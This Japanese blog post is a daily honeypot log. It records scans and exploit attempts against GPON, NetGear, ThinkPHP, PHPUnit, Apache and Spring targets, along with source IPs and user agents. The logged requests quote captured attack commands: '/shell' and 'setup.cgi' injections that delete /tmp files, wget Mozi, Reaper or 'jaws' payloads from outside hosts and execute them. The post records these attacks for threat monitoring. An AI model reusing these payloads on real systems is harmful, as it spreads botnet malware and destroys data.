2022/07/20 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2022/07/20分です。

特徴

共通

GPONルータの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
/.envへのスキャン行為

Location:JP

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
/.gitへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為
WordPress Pluginへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 7.7.7.7/jaws;
sh /tmp/jaws

Location:US

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
aiohttpによるスキャン行為
/.gitへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  rischyo.cf/jaws;
sh /tmp/jaws

Location:UK

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為
Gh0stRATのような動き
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

cd /tmp;
rm -rf *;
wget networkmapping.xyz/jaws;
sh /tmp/jaws

Location:SG

zgrabによるスキャン行為
/.gitへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  91.218.67.126/reaper/reap.arm4;
chmod 777 /tmp/reap.arm4;
sh /tmp/reap.arm4

cd /tmp;
rm -rf *;
wget http://183.151.8.205:57631/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

他

アクセス数推移

JP：総アクセス数：134 (前日比：4)
US：総アクセス数：56 (前日比：-11)
UK：総アクセス数：39 (前日比：-11)
SG：総アクセス数：52 (前日比：-90)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.222.201.163	United States
1	23.251.102.74	United States
1	34.240.196.25	United States
4	45.61.186.139	United States
3	51.89.199.116	France
1	62.210.144.150	France
3	74.201.28.127	United States
1	88.98.43.86	United Kingdom
16	95.214.235.205	Ukraine
1	103.164.191.36	Indonesia
1	104.129.48.126	United States
2	109.237.103.9	Russia
1	120.85.91.87	China
8	135.125.217.54	France
5	135.125.246.189	France
1	151.80.12.150	Italy
63	157.245.157.31	United States
1	161.35.142.98	United States
2	163.123.143.71	United States
1	172.104.138.223	United States
3	172.105.85.90	United States
1	184.105.139.89	United States
11	185.7.214.104	Hong Kong
1	193.142.59.214	Germany
1	205.210.31.35	United States

UserAgent一覧

件数	UserAgent
4	`-`
1	`Hello, world`
63	`Mozilla/5.0 (Linux i386; X11) Gecko/20062909 Firefox/16.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4950.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36`
11	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36`
36	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330`
5	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
4	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
1	`Mozilla/5.0 zgrab/0.x`
2	`\"Mozilla/5.0`
1	`python-requests/2.22.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`\x16\x03\x01\x01D\x01`
1		`\x16\x03\x01`
37	GET	`/.env`	HTTP/1.1
2	GET	`/.git/config`	HTTP/1.1
1	GET	`/.local`	HTTP/1.1
1	GET	`/.production`	HTTP/1.1
1	GET	`/.remote`	HTTP/1.1
1	GET	`//admin/.env`	HTTP/1.1
1	GET	`//administrator/.env`	HTTP/1.1
1	GET	`//api/.env`	HTTP/1.1
1	GET	`//app/.env`	HTTP/1.1
1	GET	`//apps/.env`	HTTP/1.1
1	GET	`//assets/.env`	HTTP/1.1
1	GET	`//config/.env`	HTTP/1.1
1	GET	`//core/.env`	HTTP/1.1
1	GET	`//core/Datavase/.env`	HTTP/1.1
1	GET	`//core/app/.env`	HTTP/1.1
1	GET	`//cron/.env`	HTTP/1.1
1	GET	`//cronlab/.env`	HTTP/1.1
1	GET	`//database/.env`	HTTP/1.1
1	GET	`//en/.env`	HTTP/1.1
1	GET	`//exapi/.env`	HTTP/1.1
1	GET	`//lab/.env`	HTTP/1.1
1	GET	`//laravel/.env`	HTTP/1.1
1	GET	`//lib/.env`	HTTP/1.1
1	GET	`//psnlink/.env`	HTTP/1.1
1	GET	`//public/.env`	HTTP/1.1
1	GET	`//saas/.env`	HTTP/1.1
1	GET	`//site/.env`	HTTP/1.1
1	GET	`//sitemaps/.env`	HTTP/1.1
1	GET	`//tools/.env`	HTTP/1.1
1	GET	`//uploads/.env`	HTTP/1.1
1	GET	`//v1/.env`	HTTP/1.1
1	GET	`//v2/.env`	HTTP/1.1
1	GET	`//vendor/.env`	HTTP/1.1
1	GET	`//web/.env`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
4	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/evox/about`	HTTP/1.1
1	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/fuN3`	HTTP/1.0
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/nmaplowercheck1658214326`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+7[.]7[.]7[.]7/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/showLogin.cc`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
2	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	HEAD	`/`	HTTP/1.1
1	HEAD	`/robots.txt`	HTTP/1.0
1	POST	`//admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//lib/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//lib/phpunit/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//lib/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//phpunit/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//vendor/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//vendor/phpunit/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//vendor/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
5	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
1	POST	`/mgmt/tm/util/bash`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	18.183.139.143	United States
1	20.22.185.213	United States
1	20.124.18.159	United States
1	34.244.190.104	United States
1	34.253.116.225	United States
1	35.87.160.204	United States
3	45.61.186.139	United States
8	51.79.29.48	Canada
1	51.141.105.5	United Kingdom
1	63.32.53.16	United States
2	74.201.28.127	United States
1	90.142.39.41	Sweden
1	104.129.48.126	United States
2	109.237.103.9	Russia
1	128.14.209.162	United States
1	161.35.142.98	United States
1	162.142.125.8	United States
1	162.142.125.219	United States
4	163.123.143.71	United States
1	167.94.146.58	United States
1	172.105.85.90	United States
11	185.7.214.104	Hong Kong
7	185.254.196.223	Ukraine
1	198.179.113.169	United States
1	205.210.31.35	United States
1	208.67.104.94	United States

UserAgent一覧

件数	UserAgent
7	`-`
1	`Mozila/5.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
11	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
20	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
7	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
3	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
1	`Python/3.7 aiohttp/3.7.4.post0`
1	`\"Mozilla/5.0`
3	`python-requests/2.22.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`\x16\x03\x01\x01D\x01`
1		`\x16\x03\x01`
21	GET	`/.env`	HTTP/1.1
3	GET	`/.git/config`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
3	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/publish.htm`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ rischyo.cf/jaws;sh+/tmp/jaws`
1	GET	`/showLogin.cc`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	HEAD	`/`	HTTP/1.1
1	HEAD	`/robots.txt`	HTTP/1.0
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
7	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
1	POST	`/editBlackAndWhiteList`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
3	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	2.136.46.182	Spain
2	20.199.113.252	United States
1	40.82.163.189	United States
3	45.61.186.139	United States
1	46.249.32.102	Netherlands
1	66.240.205.34	United States
2	74.201.28.127	United States
2	109.237.103.123	Russia
1	117.253.155.54	India
1	120.85.115.252	China
1	128.14.134.170	United States
1	162.142.125.9	United States
1	162.142.125.10	United States
3	163.123.143.71	United States
1	167.94.138.117	United States
1	173.9.45.226	United States
1	175.10.241.245	China
11	185.7.214.104	Hong Kong
1	188.170.81.138	Russia
1	192.241.220.243	United States
1	205.210.31.31	United States
1	216.218.206.82	United States

UserAgent一覧

件数	UserAgent
10	`-`
2	`Hello, world`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
11	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
4	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
5	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
4	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
1	`Mozilla/5.0 zgrab/0.x`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`Gh0st\xad`
1		`MGLNDD_132.145.66.34_80\n`
1		`\x16\x03\x01\x01D\x01`
1		`\x16\x03\x01`
4	GET	`/.env`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
2	GET	`/boaform/admin/formLogin?username=user&psd=user`	HTTP/1.0
4	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//117[.]253[.]155[.]54:41810/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+networkmapping[.]xyz/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/showLogin.cc`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`/.env`	HTTP/1.1
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
5	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
3	PRI	`*`	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	4.17.224.133	United States
1	13.57.255.16	United States
1	20.22.185.213	United States
1	20.55.53.144	United States
1	20.118.173.115	United States
1	20.124.18.159	United States
1	20.150.221.26	United States
4	45.61.186.139	United States
1	45.164.20.162	Mexico
1	46.249.32.102	Netherlands
9	51.79.29.48	Canada
1	52.166.194.86	United States
1	54.246.155.149	United States
1	64.62.197.30	United States
1	104.129.48.126	United States
1	107.172.100.220	United States
2	109.237.103.9	Russia
1	125.106.48.133	China
1	128.14.141.34	United States
1	161.35.142.98	United States
1	162.142.125.211	United States
4	163.123.143.71	United States
1	167.94.146.57	United States
1	183.151.8.205	China
1	185.7.214.104	Hong Kong
8	185.254.196.223	Ukraine
1	192.241.212.217	United States
1	205.210.31.152	United States
1	208.67.104.94	United States
1	208.67.105.124	United States

UserAgent一覧

件数	UserAgent
7	`-`
1	`Hello, World`
1	`Hello, world`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36`
25	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
5	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
5	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
1	`Mozilla/5.0 zgrab/0.x`
1	`python-requests/2.25.1`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_13.67.44.234_80`
1		`\x16\x03\x01\x01D\x01`
1		`\x16\x03\x01`
26	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/9wgKubmtUaO7R0jhScqIdpe24QR`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
5	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/publish.htm`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 91.218.67.126/reaper/reap.arm4;chmod+777+/tmp/reap.arm4;sh+/tmp/reap.arm4`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//183[.]151[.]8[.]205:57631/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`/showLogin.cc`	HTTP/1.1
1	HEAD	`/robots.txt`	HTTP/1.0
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
5	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/mgmt/tm/util/bash`	HTTP/1.1
2	PRI	`*`	HTTP/2.0